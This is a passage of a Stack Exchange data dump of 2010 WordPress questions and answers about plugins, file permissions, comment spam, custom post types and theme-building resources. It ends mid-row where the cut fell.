  <row Id="79" PostTypeId="2" ParentId="77" CreationDate="2010-08-11T20:56:51.703" Score="3" ViewCount="" Body="&lt;p&gt;I personally use the &lt;a href=&quot;http://wordpress.org/extend/plugins/wptouch/&quot; rel=&quot;nofollow&quot;&gt;WP Touch plugin&lt;/a&gt; on my site.  It automatically detects if the user is browsing with an iPhone (or iPad) and reformats the site into an iOS-friendly layout with touch-sensitive controls.  There's an option at the bottom for visitors to display the normal site if they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a very well-supported system, and I've used it on 3 of my own sites and 12 client sites so far without any issues whatsoever.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T20:56:51.703" CommentCount="3" />
  <row Id="80" PostTypeId="2" ParentId="60" CreationDate="2010-08-11T20:58:15.693" Score="1" ViewCount="" Body="&lt;p&gt;I would use a plugin for that. When done, remove the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dagondesign.com/articles/import-users-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;This one by Dagon Design&lt;/a&gt; seems to do the trick, but it was not updated for wordpress 3. Don't know if it will work, so you migth want to try it on a sample wordpress.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2010-08-11T20:58:15.693" />
  <row Id="81" PostTypeId="2" ParentId="76" CreationDate="2010-08-11T21:01:25.030" Score="3" ViewCount="" Body="&lt;p&gt;It should be relatively safe to chmod it to 777 for as long as you need to in order to upgrade, and then change back to what it was before.  Generally speaking, 755 is the recommended directory permission.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-11T21:01:25.030" />
  <row Id="82" PostTypeId="1" AcceptedAnswerId="107" CreationDate="2010-08-11T21:02:16.870" Score="7" ViewCount="213" Body="&lt;p&gt;I've got the Akismet plugin on my wordpress site but I've been getting more and more spammy comments (that get caught). I'm amazed at the number as the site isn't that popular and doesn't have much traffic. Are there any methods for reducing spam?&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-11T22:49:53.650" LastActivityDate="2010-10-21T09:22:04.963" Title="how to reduce the number of spam comments" Tags="&lt;spam&gt;&lt;comments&gt;" AnswerCount="6" CommentCount="1" FavoriteCount="4" />
  <row Id="83" PostTypeId="1" AcceptedAnswerId="86" CreationDate="2010-08-11T21:02:17.400" Score="6" ViewCount="434" Body="&lt;p&gt;I've read articles about protecting wp-config.php using .htaccess as well as setting the correct file permissions but I want it all in one place. What should my .htaccess file look like and what folders is it safe to have 777 vs 755 permissions?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2010-08-11T21:57:19.623" Title="How to to secure Wordpress file and folder permissions" Tags="&lt;permissions&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="84" PostTypeId="2" ParentId="50" CreationDate="2010-08-11T21:03:08.117" Score="0" ViewCount="" Body="&lt;p&gt;Here is a very clean tutorial step by step on how to create a theme:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blog.spoongraphics.co.uk/tutorials/how-to-build-a-custom-wordpress-theme-from-scratch&quot; rel=&quot;nofollow&quot;&gt;Spoongraphics&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-08-11T21:03:08.117" />
  <row Id="85" PostTypeId="1" AcceptedAnswerId="105" CreationDate="2010-08-11T21:05:32.837" Score="1" ViewCount="136" Body="&lt;p&gt;The custom types/taxonomies feature of WP 3.0 is a neat one. I can think of a few ways to use the duo: to display projects, a portfolio, or a gallery. What else can custom types and taxonomies be leveraged for?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-08-11T21:35:10.433" Title="How can you use custom types/taxonomies?" Tags="&lt;custom-post-types&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="86" PostTypeId="2" ParentId="83" CreationDate="2010-08-11T21:05:40.277" Score="6" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress&lt;/a&gt; on the &lt;a href=&quot;http://codex.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex&lt;/a&gt; is a very good article on how to secure your WordPress blog, which goes into quite some detail on file permissions, as well as some other methods of securing WP.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-11T21:05:40.277" />
  <row Id="87" PostTypeId="2" ParentId="82" CreationDate="2010-08-11T21:06:54.003" Score="1" ViewCount="" Body="&lt;p&gt;To actually reduce spam, I'd suggest installing a Captcha plug-in.  Really, though, if the spam is being caught by Akismet already, there's not much of a need to add another filter.  It just adds an 'are you human?' verification step before double checking by passing the actual comment through Akismet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using both systems in concert will block most automated spam (i.e. bots) and filter out any &quot;your blog is kewl!  buy a rolex&quot; junk that somehow makes it through.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T21:06:54.003" CommentCount="2" />
  <row Id="88" PostTypeId="2" ParentId="29" CreationDate="2010-08-11T21:07:36.450" Score="6" ViewCount="" Body="&lt;h2&gt;StudioPress&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.studiopress.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.studiopress.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;StudioPress offers the premium Genesis framework, along with several child themes.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-11T21:07:36.450" CommunityOwnedDate="2010-08-11T21:07:36.450" />
  <row Id="89" PostTypeId="2" ParentId="21" CreationDate="2010-08-11T21:08:21.957" Score="11" ViewCount="" Body="&lt;p&gt;I believe the best way to do this in a plugin is to run the following sample function when the 'pre_get_posts' action hook is encountered.  The $wp_query object is available, meaning your conditional tags are available, but before WordPress gets the posts, which means you are changing query vars prior to the first query being run, rather than adding a second query like when query_posts() is used in a theme file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_posts_per_page($query){&#xA;    if(is_home()){&#xA;    $query-&amp;gt;set('posts_per_page',8);&#xA;    }&#xA;    if(is_search()){&#xA;        $query-&amp;gt;set('posts_per_page',-1);&#xA;    }&#xA;    if(is_archive()){&#xA;        $query-&amp;gt;set('posts_per_page',25);&#xA;}//endif&#xA;}//function&#xA;&#xA;//this adds the function above to the 'pre_get_posts' action     &#xA;    add_action('pre_get_posts','custom_posts_per_page');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-11T21:08:21.957" CommentCount="2" />
  <row Id="90" PostTypeId="2" ParentId="83" CreationDate="2010-08-11T21:08:38.990" Score="4" ViewCount="" Body="&lt;p&gt;Generally, it's never a good idea to have 777 set on anything.  Read the links Thomas provided for more detail, but as a general rule 755 for folders and 644 for files is a good practice.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-11T21:08:38.990" CommentCount="2" />
  <row Id="91" PostTypeId="1" AcceptedAnswerId="93" CreationDate="2010-08-11T21:11:12.340" Score="2" ViewCount="153" Body="&lt;p&gt;I'm using the All in One SEO plugin for my site. The extra fields and options it supplies seem like they could be handled via a theme, possibly negating the use for a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should SEO considerations be handled by a theme, rather than delegating the work to a separate plugin? It could reduce maintenance issues, takes up less space, and be more integrated.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-08-12T01:30:49.240" Title="Should a SEO plugin be necessary?" Tags="&lt;plugins&gt;&lt;seo&gt;&lt;all-in-one-seo&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="92" PostTypeId="2" ParentId="24" CreationDate="2010-08-11T21:13:40.343" Score="9" ViewCount="" Body="&lt;p&gt;Since a picture is worth a thousand words:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Click &quot;Edit&quot; next to &quot;Publish Immediately&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://dl.dropbox.com/u/146967/20100810.futurepost.1.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Change the date&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://dl.dropbox.com/u/146967/20100810.futurepost.2.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Click &quot;OK&quot;&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-11T21:13:40.343" CommentCount="1" />
  <row Id="93" PostTypeId="2" ParentId="91" CreationDate="2010-08-11T21:16:56.493" Score="3" ViewCount="" Body="&lt;p&gt;Ideally, SEO should always be handled by the theme.  Actually, most plug-in behavior that impacts the front-end of a site should be handled by the theme.  Plug-ins like All in One SEO are quick solutions for people who don't want to invest the time required to re-code a theme they built, downloaded from a free site, or purchased from another developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting the functionality in the theme itself gives you more control, makes WordPress faster, and means you don't need to worry about upgrades potentially breaking your site if they introduce new bugs that conflict with other systems you're using.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-11T21:16:56.493" />
  <row Id="94" PostTypeId="2" ParentId="83" CreationDate="2010-08-11T21:18:01.920" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://httpd.apache.org/docs/2.2/howto/htaccess.html&quot; rel=&quot;nofollow&quot;&gt;http://httpd.apache.org/docs/2.2/howto/htaccess.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not an expert on this, but I hear that there is no need for .htaccess if you are using newer versions of Apache (IIS had this feature for quite some time.) You can disable directory browsing in your Apache config. It is the Indexes option in the Options directive of the Directory directive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/core.html#options&quot; rel=&quot;nofollow&quot;&gt;http://httpd.apache.org/docs/2.2/mod/core.html#options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if 777 is required by any. 755 is probably safe for content folders. &lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditorDisplayName="" LastEditDate="2010-08-11T21:57:19.623" LastActivityDate="2010-08-11T21:57:19.623" />
  <row Id="95" PostTypeId="2" ParentId="29" CreationDate="2010-08-11T21:19:37.617" Score="1" ViewCount="" Body="&lt;h2&gt;Press75&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.press75.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.press75.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press75 is mostly premium themes, but there are a few free ones in there too.&#xA;Many are optimized for video content.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-08-13T18:02:29.167" LastActivityDate="2010-08-13T18:02:29.167" CommunityOwnedDate="2010-08-11T21:19:37.617" />
  <row Id="96" PostTypeId="2" ParentId="15" CreationDate="2010-08-11T21:22:56.543" Score="2" ViewCount="" Body="&lt;p&gt;I use OpenID 3.3.2 (from the same link) and it works fine as far as I can tell. I have the latest version of WordPress and the Plugin. I have full control on the server if that makes any difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can tell specifically what the problem is, I can check how I have configured. &lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2010-08-11T21:22:56.543" />
  <row Id="97" PostTypeId="1" AcceptedAnswerId="101" CreationDate="2010-08-11T21:24:06.590" Score="1" ViewCount="137" Body="&lt;p&gt;I'm aware of the requirements WP has for certain directories and files to be writable. I'm also aware that making permissions too loose can open security holes. Finally, I know that the user that (insert your server here) runs as on Linux systems can be a factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security aside, I like being able to download themes and plugins to my blog, and update them when necessary. Proper permissions seem to be a bit at odds with this preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've collected little bits of detail here and there, but I'd like to see a more definitive answer, if there is one: what is the preferred setup with a nod to security? What permissions should be in place, what user should the site run as, etc.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-03-02T18:09:19.620" Title="What is the ideal setup to address security concerns?" Tags="&lt;security&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="98" PostTypeId="2" ParentId="85" CreationDate="2010-08-11T21:25:13.410" Score="0" ViewCount="" Body="&lt;p&gt;How about a forum? Have a look at &lt;a href=&quot;http://justintadlock.com/archives/2010/07/16/a-wordpress-forum-plugin-using-custom-post-types&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2010/07/16/a-wordpress-forum-plugin-using-custom-post-types&lt;/a&gt; and a couple of other posts on taxonomies on that site. Justin wrote the Hybrid theme. He is also a core contributor.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2010-08-11T21:25:13.410" />
  <row Id="99" PostTypeId="2" ParentId="29" CreationDate="2010-08-11T21:25:21.910" Score="7" ViewCount="" Body="&lt;h1&gt;Smashing Magazine&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.smashingmagazine.com/tag/wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.smashingmagazine.com/tag/wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to use Smashing Magazine. While they don't have themes directly. They are constantly doing reviews on themes and even a Top 40 / Top 100 etc. The link above is the tag for Wordpress on their site, so you there will be a few other WP related articles, but a great source for some high quality themes.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-11T21:25:21.910" CommunityOwnedDate="2010-08-11T21:25:21.910" />
  <row Id="100" PostTypeId="2" ParentId="15" CreationDate="2010-08-11T21:27:06.203" Score="13" ViewCount="" Body="&lt;p&gt;The OpenID plugin you linked is the best one, but it has a minor bug preventing it from working with WordPress 3.0, at least when combined with PHP 5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix can be found here: &lt;a href=&quot;http://code.google.com/p/diso/issues/detail?id=161&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/diso/issues/detail?id=161&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-11T21:27:06.203" CommentCount="1" />
  <row Id="101" PostTypeId="2" ParentId="97" CreationDate="2010-08-11T21:29:33.303" Score="4" ViewCount="" Body="&lt;p&gt;If you have FTP access to your server, the most secure setup is not having your themes or plugins directory writable by your webserver and instead having WordPress update files using FTP. When you go to update a plugin, WordPress will prompt you for your FTP details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FTP method is a lot slower than direct file writes, but it is a lot more secure as a rogue script won't be able to modify your files.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-11T21:29:33.303" CommentCount="1" />
  <row Id="102" PostTypeId="2" ParentId="85" CreationDate="2010-08-11T21:30:14.207" Score="0" ViewCount="" Body="&lt;p&gt;I'm considering using it for a client who runs a tree nursery. This would allow me to logically separate blog-style news updates, pages, and trees (with per-tree galleries) with custom styles for each post type. It'll also be nice to have type-specific taxonomies for categorizing the trees.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-11T21:30:14.207" />
  <row Id="103" PostTypeId="2" ParentId="82" CreationDate="2010-08-11T21:30:18.183" Score="2" ViewCount="" Body="&lt;p&gt;Most of the spam I get is via the contact form, always using a gmail address. I take the time to report every single one of them to Google. I figure since they are trying to use that gmail address then the sooner I help get it taken down, the less ROI they will get on that method and they will simply stop trying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akismet has been very good at filtering out comment spam. Captcha is a big PITA and having to register to leave comments is a strong comment-deterrent but the easy maths question or a &lt;a href=&quot;http://www.modernblue.com/web-design-blog/fighting-spam-with-css/&quot; rel=&quot;nofollow&quot;&gt;css hidden field&lt;/a&gt; are 2 options you could try.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2010-08-11T21:30:18.183" />
  <row Id="104" PostTypeId="2" ParentId="29" CreationDate="2010-08-11T21:30:37.157" Score="5" ViewCount="" Body="&lt;h2&gt;Elegant Themes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.elegantthemes.com&quot; rel=&quot;nofollow&quot;&gt;http://www.elegantthemes.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Elegant Themes is a really good deal too, subscription-based but you get access to all his themes (and there are a lot of really nice ones)&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-08-13T18:03:19.353" LastActivityDate="2010-08-13T18:03:19.353" CommunityOwnedDate="2010-08-11T21:30:37.157" />
  <row Id="105" PostTypeId="2" ParentId="85" CreationDate="2010-08-11T21:35:10.433" Score="1" ViewCount="" Body="&lt;p&gt;Custom types can be leverage for anything that can be repeatable. So as you said a gallery or portfolio would work very nicely. I've already used them on a few different projects: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Recipes&lt;/li&gt;&#xA;&lt;li&gt;Employee Roster&lt;/li&gt;&#xA;&lt;li&gt;Callouts for the homepage&lt;/li&gt;&#xA;&lt;li&gt;rotating sliders. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other ideas are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;products for a commerce site—The custom taxonomies would make for some powerful option for each product. &lt;/li&gt;&#xA;&lt;li&gt;For custom sidebar content. Y&lt;/li&gt;&#xA;&lt;li&gt;An Ad manager. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The possibilities are really endless. Anything that can be seen as a collection is really what this is for.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-11T21:35:10.433" />
  <row Id="106" PostTypeId="1" AcceptedAnswerId="126" CreationDate="2010-08-11T21:35:30.620" Score="12" ViewCount="1540" Body="&lt;p&gt;Is it possible to rename the wp-admin folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could just rename it, but unless it's supported by the code lots of things would break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use a custom folder name, it will make it slightly more secure, security by obscurity and all that.&lt;/p&gt;&#xA;" OwnerUserId="110" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-10T12:04:10.097" LastActivityDate="2011-08-09T17:45:30.260" Title="Can I rename the wp-admin folder?" Tags="&lt;wp-admin&gt;&lt;security&gt;" AnswerCount="8" FavoriteCount="3" />
  <row Id="107" PostTypeId="2" ParentId="82" CreationDate="2010-08-11T21:36:51.387" Score="11" ViewCount="" Body="&lt;p&gt;For my blog, I too run Akismet to catch any spam that is posted to my blog, but I also prevent spam from being posted in the first place using a few plugins:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/cookies-for-comments/&quot; rel=&quot;nofollow&quot;&gt;Cookies For Comments&lt;/a&gt; requires that people leaving comments have cookies and CSS stylesheets enabled. A stylesheet is added to your site that when loaded sets a cookie. This cookie is then looked for when a comment is left. No cookie? The comment is rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is effective because most spam bots do not load stylesheets or accept cookies. Note this will not prevent spam left by humans (it'll be Akismet's job to catch that).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.viper007bond.com/wordpress-plugins/disable-trackbacks/&quot; rel=&quot;nofollow&quot;&gt;Disable Trackbacks&lt;/a&gt; does exactly what it says it does. When you receive spam pings (links from other blogs), most often those are in the form of the deprecated trackback instead of the better and more modern pingback. Trackbacks, when used normally, require the person sending the trackback to enter a special URL from your blog into their blog. Trackbacks are pretty much never used legitimately anymore, so you can safely disable them and avoid lots and lots of ping spam.  Akismet will take care of any pingback spam (it happens, but not nearly as much).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With those two plugins installed along side Akismet, I only get a few spams and very rarely do any of them actually make it onto my blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-11T21:36:51.387" CommentCount="3" />
  <row Id="108" PostTypeId="2" ParentId="82" CreationDate="2010-08-11T21:38:52.133" Score="1" ViewCount="" Body="&lt;p&gt;I have been using WP-SpamFree for years and have been happy: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.polepositionmarketing.com/library/wp-spamfree/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP-SpamFree&lt;/strong&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to quick check the effectiveness, you try out on &lt;a href=&quot;http://www.jamespaulp.us/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;my site&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-21T09:22:04.963" LastActivityDate="2010-10-21T09:22:04.963" />
  <row Id="109" PostTypeId="1" AcceptedAnswerId="118" CreationDate="2010-08-11T21:39:42.510" Score="1" ViewCount="76" Body="&lt;p&gt;I use the great Changelogger plugin, which adds plugin version history to the plugins page when there is an update, but it doesn't work from the updates page where you can update WordPres core, plugins and themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how/where can a new hook for that page be requested so that the changelogs can be added to that page too?&lt;/p&gt;&#xA;" OwnerUserId="110" LastActivityDate="2010-08-11T21:48:14.867" Title="How/Where can we request new WordPress hooks to be added?" Tags="&lt;hooks&gt;&lt;auto-update&gt;" AnswerCount="3" />
  <row Id="110" PostTypeId="2" ParentId="106" CreationDate="2010-08-11T21:40:03.243" Score="5" ViewCount="" Body="&lt;p&gt;No, you cannot rename the folder. The path is hard-coded in multiple locations throughout WordPress' source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security through obscurity isn't really security anyway.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-11T21:40:03.243" CommentCount="2" />
  <row Id="111" PostTypeId="2" ParentId="109" CreationDate="2010-08-11T21:41:39.170" Score="2" ViewCount="" Body="&lt;p&gt;You'll want to make a new ticket here: &lt;a href=&quot;http://core.trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explain why you want a new hook and how it could be used. Including a patch file also goes a long ways towards getting the hook included in WordPress.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2010-08-11T21:41:39.170" />
  <row Id="112" PostTypeId="2" ParentId="50" CreationDate="2010-08-11T21:42:21.543" Score="1" ViewCount="" Body="&lt;p&gt;There are many different ways to learn to create your own theme. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First, there's the &lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;&quot;official&quot; WordPress Codex on Developing Themes&lt;/a&gt;, but I'd say that it is more of a reference than a tutorial. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another approach and one I like a lot is to read some of the better tutorials about WordPress Theming on the various blogs around the web. Here are some reasonably good ones, in no particular order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;&lt;a href=&quot;http://www.blog.spoongraphics.co.uk/tutorials/how-to-build-a-custom-wordpress-theme-from-scratch&quot; rel=&quot;nofollow&quot;&gt;How to Build a Custom WordPress Theme from Scratch&lt;/a&gt;&quot; on SpoonGraphics.co.uk (Feb 2010)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;&lt;a href=&quot;http://themeshaper.com/wordpress-themes-templates-tutorial/&quot; rel=&quot;nofollow&quot;&gt;How To Create a WordPress Theme: The Ultimate WordPress Theme Tutorial&lt;/a&gt;&quot; on Themeshaper.com (Jun 2009)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;&lt;a href=&quot;http://www.webdesignerwall.com/tutorials/building-custom-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;Building Custom WordPress Theme&lt;/a&gt;&quot; on WebDesignerWall.com (Nov 2008)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yet another option is to check out some of the videos/screencasts on the subject such as this series of videos/screenacasts which I've found to be one of the better ones:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;WordPress Theme Tutorial by andrewanimation/AMPtutorials on YouTube: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=X2kl3kEfni4&quot; rel=&quot;nofollow&quot;&gt;Part 1 - Setup&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=Xt7cGBr9of0&quot; rel=&quot;nofollow&quot;&gt;Part 2 - Homepage and Functions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=IJBUYsRtJ80&quot; rel=&quot;nofollow&quot;&gt;Part 3 - Single Post Template&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=TSKZZEB7Iqs&quot; rel=&quot;nofollow&quot;&gt;Part 4 - Custom Comment Display&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=jLEocShvqqg&quot; rel=&quot;nofollow&quot;&gt;Part 5a - Customizing Your Comment List&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=WWeO_xSEz-Q&quot; rel=&quot;nofollow&quot;&gt;Part 5b - Customizing Your Comment List&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=XRI9NI37ZWg&quot; rel=&quot;nofollow&quot;&gt;Part 6 - Additional Pages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=XmrVU8PTeJk&quot; rel=&quot;nofollow&quot;&gt;Part 7a - Dynamic Sidebars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=z_CqyEDDZWw&quot; rel=&quot;nofollow&quot;&gt;Part 7b - Multiple Sidebars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=ZAkdS3qMCzs&quot; rel=&quot;nofollow&quot;&gt;Part 8a - Adding a Theme Options Page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=yFtURSgBr40&quot; rel=&quot;nofollow&quot;&gt;Part 8b - Adding a Theme Options Page&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then of course there are the books you can get, if you must go this route (be sure to hunt for the used ones on Amazon; they are often much cheaper than new):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470684151&quot; rel=&quot;nofollow&quot;&gt;Smashing WordPress: Beyond the Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0980455294&quot; rel=&quot;nofollow&quot;&gt;Build Your Own Wicked Wordpress Themes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rockablepress.com/books/rockstar-wordpress-designer/&quot; rel=&quot;nofollow&quot;&gt;Rockstar WordPress Designer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1847193099&quot; rel=&quot;nofollow&quot;&gt;WordPress Theme Design: A complete guide to creating professional WordPress themes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1847198449&quot; rel=&quot;nofollow&quot;&gt;WordPress 2.8 Themes Cookbook&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1849510083&quot; rel=&quot;nofollow&quot;&gt;WordPress 2.8 Theme Design&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lastly you can hang out here and ask questions and/or any of these other places where there are always WordPress-istas willing to help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a 